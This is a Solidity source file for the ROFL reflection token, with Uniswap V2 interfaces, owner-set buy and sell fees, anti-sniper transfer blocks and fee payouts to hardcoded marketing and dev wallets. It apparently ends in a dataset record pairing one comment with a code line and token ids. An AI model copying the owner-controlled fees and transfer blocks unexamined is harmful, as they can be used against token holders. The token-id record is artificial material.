accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ROFL is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress; address payable public devAddress; address payable public liquidityAddress; address private _owner = 0x25bC1f231Da4536e15Ad977B718862BA5D123188; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; bool public limitsInEffect = true; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 1e12 * 1e9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "ROFL"; string private constant _symbol = "ROFL"; uint8 private constant _decimals = 9; // these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract. uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 private _marketingFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private constant BUY = 1; uint256 private constant SELL = 2; uint256 private constant TRANSFER = 3; uint256 private buyOrSellSwitch; uint256 public _buyTaxFee = 0; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 9; uint256 public _sellTaxFee = 0; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 9; uint256 public tradingActiveBlock = 0; // 0 means trading is not active mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty uint256 public _liquidityTokensToSwap; uint256 public _marketingTokensToSwap; uint256 public maxTransactionAmount; uint256 public maxWalletAmount; mapping (address => bool) public _isExcludedMaxTransactionAmount; bool private gasLimitActive = true; uint256 private gasPriceLimit = 500 * 1 gwei; // do not allow over 500 gwei for launch // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; uint256 private minimumTokensBeforeSwap; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public tradingActive = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event SwapETHForTokens(uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); event SetAutomatedMarketMakerPair(address pair, bool value); event ExcludeFromReward(address excludedAddress); event IncludeInReward(address includedAddress); event ExcludeFromFee(address excludedAddress); event IncludeInFee(address includedAddress); event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event TransferForeignToken(address token, uint256 amount); event UpdatedMarketingAddress(address marketing); event UpdatedLiquidityAddress(address liquidity); event OwnerForcedSwapBack(uint256 timestamp); event BoughtEarly(address indexed sniper); event RemovedSniper(address indexed notsnipersupposedly); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() payable { _rOwned[_owner] = _rTotal / 1000 * 30; _rOwned[address(this)] = _rTotal / 1000 * 970; maxTransactionAmount = _tTotal * 25 / 1000; // 2.5% maxTransactionAmountTxn maxWalletAmount = _tTotal * 25 / 1000; // 2.5% maxWalletAmount minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount marketingAddress = payable(0x60AEf1edB618f81513a2b6AbF78A5540DBDFBc33); // Marketing Address devAddress = payable(0x9418331d1D61391ceB44e66244005Cb228e49e65); // Dev Address liquidityAddress = payable(owner()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingAddress] = true; _isExcludedFromFee[liquidityAddress] = true; excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); emit Transfer(address(0), _owner, _tTotal * 30 / 1000); emit Transfer(address(0), address(this), _tTotal * 970 / 1000); } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) external view returns (bool) { return _isExcluded[account]; } function totalFees() external view returns (uint256) { return _tFeeTotal; } // remove limits after token is stable - 30-60 minutes function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // once enabled, can never be turned off function enableTrading() internal onlyOwner { tradingActive = true; swapAndLiquifyEnabled = true; tradingActiveBlock = block.number; earlyBuyPenaltyEnd = block.timestamp + 72 hours; } // send tokens and ETH for liquidity to contract directly, then call this (not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch) function launch() external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot relaunch."); enableTrading(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); require(address(this).balance > 0, "Must have ETH on contract to launch"); addLiquidity(balanceOf(address(this)), address(this).balance); transferOwnership(_owner); return true; } function minimumTokensBeforeSwapAmount() external view returns (uint256) { return minimumTokensBeforeSwap; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _isExcludedMaxTransactionAmount[pair] = value; if(value){excludeFromReward(pair);} if(!value){includeInReward(pair);} } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 200); gasPriceLimit = gas * 1 gwei; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) public onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){ boughtEarly[to] = true; emit BoughtEarly(to); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[to] < block.number && _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[to] = block.number; _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedMaxTransactionAmount[to]) { require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded"); } } } uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_marketingTokensToSwap); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; // swap and liquify if ( !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && totalTokensToSwap > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } bool takeFee = true; // If any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax. } else { // Buy if (automatedMarketMakerPairs[from]) { removeAllFee(); _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; buyOrSellSwitch = BUY; } // Sell else if (automatedMarketMakerPairs[to]) { removeAllFee(); _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; buyOrSellSwitch = SELL; // higher tax if bought in the same block as trading active for 72 hours (sniper protect) if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){ _taxFee = _taxFee * 5; _liquidityFee = _liquidityFee * 5; } // Normal transfers do not get taxed } else { require(!boughtEarly[from] || earlyBuyPenaltyEnd <= block.timestamp, "Snipers can't transfer tokens to sell cheaper until penalty timeframe is over. DM a Mod."); removeAllFee(); buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax. } } _tokenTransfer(from, to, amount, takeFee); } function swapBack() private lockTheSwap { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap; // Halve the amount of liquidity tokens uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2); uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity); uint256 initialETHBalance = address(this).balance; swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance.sub(ethForMarketing); uint256 ethForDev= ethForMarketing * 2 / 7; // 2/7 gos to dev ethForMarketing -= ethForDev; _liquidityTokensToSwap = 0; _marketingTokensToSwap = 0; (bool success,) = address(marketingAddress).call{value: ethForMarketing}(""); (success,) = address(devAddress).call{value: ethForDev}(""); addLiquidity(tokensForLiquidity, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); // send leftover BNB to the marketing wallet so it doesn't get stuck on the contract. if(address(this).balance > 1e17){ (success,) = address(marketingAddress).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= _tTotal / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityAddress, block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { if(buyOrSellSwitch == BUY){ _liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee; } else if(buyOrSellSwitch == SELL){ _liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee; } uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) external view returns (bool) { return _isExcludedFromFee[account]; } function removeBoughtEarly(address account) external onlyOwner { boughtEarly[account] = false; emit RemovedSniper(account); } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeFromFee(account); } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; emit IncludeInFee(account); } function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee) external onlyOwner { _buyTaxFee = buyTaxFee; _buyLiquidityFee = buyLiquidityFee; _buyMarketingFee = buyMarketingFee; require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 25, "Must keep buy taxes below 25%"); emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee); } function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee) external onlyOwner { _sellTaxFee = sellTaxFee; _sellLiquidityFee = sellLiquidityFee; _sellMarketingFee = sellMarketingFee; require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 25, "Must keep sell taxes below 25%"); emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee); } function setMarketingAddress(address _marketingAddress) external onlyOwner { require(_marketingAddress != address(0), "_marketingAddress address cannot be 0"); _isExcludedFromFee[marketingAddress] = false; marketingAddress = payable(_marketingAddress); _isExcludedFromFee[marketingAddress] = true; emit UpdatedMarketingAddress(_marketingAddress); } function setLiquidityAddress(address _liquidityAddress) public onlyOwner { require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0"); liquidityAddress = payable(_liquidityAddress); _isExcludedFromFee[liquidityAddress] = true; emit UpdatedLiquidityAddress(_liquidityAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } // To receive ETH from uniswapV2Router when swapping receive() external payable {} function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be 0"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); emit TransferForeignToken(_token, _contractBalance); } // withdraw ETH if stuck before launch function withdrawStuckETH() external onlyOwner { require(!tradingActive, "Can only withdraw if trading hasn't started"); bool success; (success,) = address(msg.sender).call{value: address(this).balance}(""); } }
2.5% maxTransactionAmountTxn
maxTransactionAmount = _tTotal * 25 / 1000;
13,795,240
[ 1, 22, 18, 25, 9, 943, 3342, 6275, 13789, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
